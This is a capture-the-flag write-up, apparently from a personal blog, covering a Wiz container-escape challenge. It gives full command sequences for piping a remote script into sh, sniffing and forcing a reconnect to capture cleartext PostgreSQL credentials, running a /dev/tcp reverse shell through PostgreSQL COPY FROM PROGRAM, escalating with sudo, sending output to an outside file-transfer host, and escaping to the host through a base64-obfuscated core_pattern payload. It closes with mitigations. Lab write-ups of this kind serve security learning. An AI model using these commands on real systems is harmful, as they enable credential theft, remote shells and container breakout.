Skip to main content
  1. Writeups/

Contain Me If You Can: Container Escape WIZ CTF

·5 mins·
Arbaaz Jamadar
Author
Arbaaz Jamadar
Table of Contents
New Article!!

Overview:
#

You are confined to a container image. The goal is to escalate privileges by moving laterally across containers and ultimately establish a connection with the host to exfiltrate the flag from it.

Task details

Challenge -> https://cloudsecuritychampionship.com/challenge/2

Solution:
#

Initial Recon:
#

There are multiple ways to escalate privileges and escape a container:

  • If the container is running in privileged mode, you can directly interact with the host via the shared kernel/bus.

  • Perform lateral movement by checking for exploitable vectors that allow pivoting to other containers.

To enumerate privilege-escalation vectors, use LinPEAS

curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh

While reviewing the output, we notice that tcpdump is installed inside the container, unusual for minimal images:

linPeas Dump

TCPdump to sniff out the credentials:
#

tcpdump is uncommon in containers, so it’s a high-value lead. First, check active connections:

netstat -a
# or:
ss -tupa

We find an active connection to a PostgreSQL database:

active postgres connection

Next, check if the connection is unencrypted:

#use tcpdump
tcpdump -i any -A port 5432

tcpdump capture showing unencrypted traffic

We confirm the connection is unencrypted. For example, we can see queries like:, **SELECT now()**;

example query showing up in dump

Since credentials are exchanged during the initial handshake, we need to re-initiate the connection. Two options:

  1. Restart the PostgreSQL service

  2. Terminate the current connection (if it’s keepalive), forcing the container to reconnect.

check connection type:

netstat -ato
# or:
ss -to 'sport = :5432'

keep alive connections

Because it’s keepalive, we can sniff traffic in the background while killing the session, when the connection is killed the container restarts the connection process and we can sniff the password during the initial exchange.

  1. Open a tmux session for split-pane capture:
#install tmux
apt update && apt install tmux

stty columns 80 rows 33
tmux

#press
ctrl+b c #to create new window
ctrl+b " #to open the new window in horizontal split pane view
ctrl+b (up arrow) #to move to top pane
ctrl+b (down arrow) #to move to lower pane

tmux split pane

  1. Kill the PostgreSQL connection and capture packets:

    # to kill the postgres connection
    tcpkill port 45312
    
    #capture new packets using tcpdump
    tcpdump -i any -A -v port 5432 -w packets.pcap
    
    #read them using tcpdump 
    tcpdump -nnvvXSs 0 -r packets.pcap
    

    dump review

  2. We found the credentials in the tcpdump:

    1. user = user

    2. database = mydatabase

    3. password = SecretPostgreSQLPassword

      user and database name

      password for user

Tip:
#

If you don’t immediately catch the handshake, keep tcpdump running, then nudge a reconnect (restart client/service, or kill the TCP flow again).

RCE on PostgreSQL container:
#

Log into PostgreSQL:

psql -h postgres_db -p 5432 -U user mydatabase
  1. There is a common privilege escalation vector that is exploitable if the user we have logged in as in PostgreSQL is a superuser; we can use OS commands to start a reverse shell from the host OS of the PostgreSQL service.

  2. Check if the current role is a superuser:

SELECT rolsuper
FROM pg_roles
WHERE rolname = CURRENT_USER;
  1. If rolsuper = t (the user is a superuser), if rolsuper = f (the user is just a normal user).

    rolsuper = t

  2. Because the user is a superuser, we can trigger a reverse shell from the PostgreSQL host container:

  • Start a netcat listner session on the docker
nc -lnvp 9090
  • Execute in PostgreSQL:
CREATE TABLE tmp(t TEXT);
COPY tmp FROM PROGRAM '/bin/bash -c "/bin/bash -i >& /dev/tcp/172.19.0.3/8080 0>&1"' ;
SELECT * FROM tmp;
DROP TABLE tmp;
    ![image.png](/writeups/Wiz/containme/image%2010.png)

PostgreSQL Enum:
#

Enumerate inside the PostgreSQL container:

  1. Check sudo privileges:
sudo -l
  1. It figures we can:

    image.png

  2. It means the postgres user can run any command (ALL) as any user (including root) without being asked for a password (NOPASSWD).

    image.png

Create a sudo reverse shell:

sudo /bin/bash -c "/bin/bash -i >& /dev/tcp/172.19.0.3/9090 0>&1"

To improve enumeration, install utilities:

  1. Identify OS type:
  • Check the /etc directory to determine the image type:
ls /etc | grep -- "-release"
  • we can see that it is an Alpine release:

    image.png

  • Alpine uses apk package manager:

apk update && apk add util-linux
#once the utils are installed
cd ~
script -qc /bin/bash /dev/null
ctrl + z
stty raw -echo; fg;
export TERM=screen
stty columns 80 rows 33

Run LinPEAS again for privilege escalation vectors:

wget https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh
chmod +x linpeas.sh
./linpeas

Transfer output to host for analysis: xfr.station307.com:

./linpeas.sh | tee linpeas_output.txt

curl -T linpeas_output.txt -s -L -D - xfr.station307.com | grep human

After downloading the file and exploring it, there were two major privesc vectors available:

  1. core_pattern
  2. uevent_helper

image.png

Core_Pattern Exploit:
#

We will be exploiting the core_pattern breakout privesc vector:

  1. reference: hacktricks.wiki

    image.png

  2. Overwrite core_pattern with reverse shell payload:

echo  '|/bin/bash -c echo${IFS%%??}L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE3Mi4xOS4wLjMvNjY2NiAwPiYx|base64${IFS%%??}-d|/bin/bash' > /proc/sys/kernel/core_pattern
  1. Start listener:
nc -lnvp 6666
  1. Trigger crash:
#this triggers a segmentation fault that triggers the payload script giving us a reverse shell
sh -c 'kill -11 "$$"'

Success!!!!!!! we now have a shell on the host. You can find flag at /flag location.

Learnings:
#

  1. Even though containers are designed to be self-sufficient and isolated from the host, misconfigurations can create vulnerabilities that attackers can exploit.

  2. Do not trust the internal network by default, all services should communicate over secure channels (e.g., TLS) even within internal environments.

  3. Misconfigured volume mappings can expose the host filesystem and lead to container escapes.

  4. Mitigations:

  • avoid mounting docker socket

  • restrict host paths

  • Principle of least privilege only mount what is necessary for container functions (if required use read only whenever possible)

  • implement encryption and communication over secure network for sensitive services

  1. Defense-in-Depth:
  • Apply Pod Security Standards / PodSecurityAdmission in Kubernetes to restrict risky hostPath mounts.

  • Enforce runtime restrictions using seccomp, AppArmor, or SELinux.

  • Use scanning and auditing tools (e.g., Trivy, kube-bench, kube-hunter, Falco) to detect misconfigurations and suspicious runtime activity.

  • Enable user namespaces to ensure root inside a container ≠ root on the host.

Takeaway:
#

This challenge highlights how overlooked container security practices (unencrypted DB traffic, over-permissive sudo, dangerous mounts) can escalate into a full host compromise.

Related

Perimeter Leak: Exploiting AWS S3 via Proxy Misconfigurations
·5 mins
Owl-lit: Secure, Scalable & Cost-Optimized Microservice Deployment on Amazon EKS
·13 mins
DockFast: CI/CD Pipeline with Jenkins, ArgoCD, SonarQube, Trivy, Prometheus, and Grafana
·4 mins